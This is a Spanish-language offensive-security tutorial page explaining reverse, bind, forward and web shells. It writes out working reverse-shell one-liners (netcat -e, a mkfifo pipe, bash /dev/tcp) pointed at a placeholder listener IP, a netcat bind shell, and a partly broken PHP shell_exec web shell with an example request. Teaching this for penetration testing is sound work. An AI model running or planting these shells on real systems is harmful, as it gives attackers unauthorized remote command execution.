> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/shells.md).
# Shells
Aquí veras los tipos de shells que existen
Cuando comprometemos un software/servicio o nos aprovechamos de alguna falla o vulnerabilidad, nuestro siguiente objetivo es entrar en el sistema, y poder ejecutar comandos en el.
## Reverse Shell
Una Reverse Shell, es una shell que nos envía la maquina que queremos comprometer a nosotros. Esto de su lado se puede hacer de varias formas.
(Ejemplo) Imagina que tienes un servicio HTTP/S corriendo en una maquina, y encuentras una vulnerabilidad que te permite ejecutar código, en este caso puedes enviarte una shell del lado de la maquina objetivo hacia tu equipo, y así poder entrar en el sistema.
Todo ello se hace mediante un puerto a elegir por el atacante. En los casos de Reverse Shell existen dos roles:
1. **Listener**: Este es el atacante, que esta escuchando en un puerto y una IP, esperando a que la maquina objetivo envíe la shell por ahí y así poder interceptarla y usarla
2. **Sender/Transmitter**: Esta es la maquina victima que hemos conseguido vulnerar, es la que enviará la shell por donde nosotros le indiquemos
{% tabs %}
{% tab title="Listener" %}
Este es un comando que usando **NetCat** nos sirve para todos los tipos de reverse shell
```sh
nc -nlvp PORT
```
{% endtab %}
{% tab title="Transmitter" %}
En este caso usamos la herramienta **NetCat** para enviar una "/bin/bash" a una IP (la del atacante/listener) y a un puerto seleccionado por el.
```sh
nc -e /bin/bash IP_Listener Puerto
```
{% hint style="warning" %}
Dependiendo de la versión de NetCat, puede que el parámetro `-e` no esté disponible, por lo que habrá que utilizar este comando:
```sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Ip_Listener Puerto >/tmp/f
```
{% endhint %}
En este otro caso, este comando nos servirá para maquinas que no tengan NetCat instalado
```sh
bash -i >& /dev/tcp/IP_Listener/Puerto 0>&1
```
{% endtab %}
{% endtabs %}
Ejemplo de Reverse Shell
👈🏽 Estos son los parámetros que se utilizan con NetCat
Con respecto al comando `nc -nlvp PORT` nos referimos a los parámetros -n, -l, -v, -p:
1. `-n` : No aplicar resolución DNS
2. `-l` : Modo escucha
3. `-v` : Modo verbose
4. `-p` : Indicamos el puerto por el que nos ponemos en escucha
{% hint style="warning" %}
La herramienta NetCat, tiene diferentes variaciones como por ejemplo:
* `nc`
* `ncat`
* `nc.traditional`
{% endhint %}
## Bind Shell
En este tipos de shell no es como en las [reverse shell](#reverse-shell) que nos enviamos una consola desde la victima, si no que como atacantes, **abrimos un puerto temporalmente en la maquina** objetivo en el que se ejecuta una shell, de manera que de nuestro lado, nos conectamos a la IP y Puerto en el que ejecuta la shell
{% tabs %}
{% tab title="Comando ejecutado en la maquina Atacante" %}
```sh
nc IP_Objetivo Puerto
```
{% endtab %}
{% tab title="Comando ejecutado en el Objetivo" %}
```sh
nc -nlvp Puerto -e /bin/bash
```
{% endtab %}
{% endtabs %}
Ejemplo Bind Shell
{% hint style="info" %}
Existen herramientas que te proporcionan los comandos con los parámetros personalizados para ejecutarlos directamente:
1. - Vía Web
2. - Vía CLI
3. - Vía CLI
4. - Vía CLI
{% endhint %}
{% hint style="info" %}
Tienes disponible una **Cheat Sheet** aquí:
{% endhint %}
## Forward Shell
Las forward shells, son shells que son usadas cuando la maquina victima tiene reglas configuradas de manera que nos es imposible enviarnos una consola. En este caso, este tipo de shells, usan mkfifo, para poder usar una consola simulada. Esto se consigue ya que el atacante redirige el tráfico a través del archivo **FIFO**, lo que permite la comunicación bidireccional con la máquina remota
## Web Shell
A diferencia de las Reverse Shell, la web shell, nos permite ejecutar comandos directamente desde el archivo sin necesidad de entablarnos conexiones. Para ello subiremos un archivo PHP con este código:
```php
" . shell_exec($_REQUEST['cmd']) . "";
?>
```
Después, accedemos al recurso y escribimos el comando a modo de parametro:
```bash
http://dominio.com/uploads/webshell.pgp?cmd=whoami
```
En ese ejemplo, a través del parámetro "cmd" le pasamos el comando y la salida nos la mostrará por pantalla.
{% hint style="warning" %}
Si queremos ejecutar una reverse shell mediante una web shell es importante codificar el comando en URL-encode para que funcione
{% endhint %}
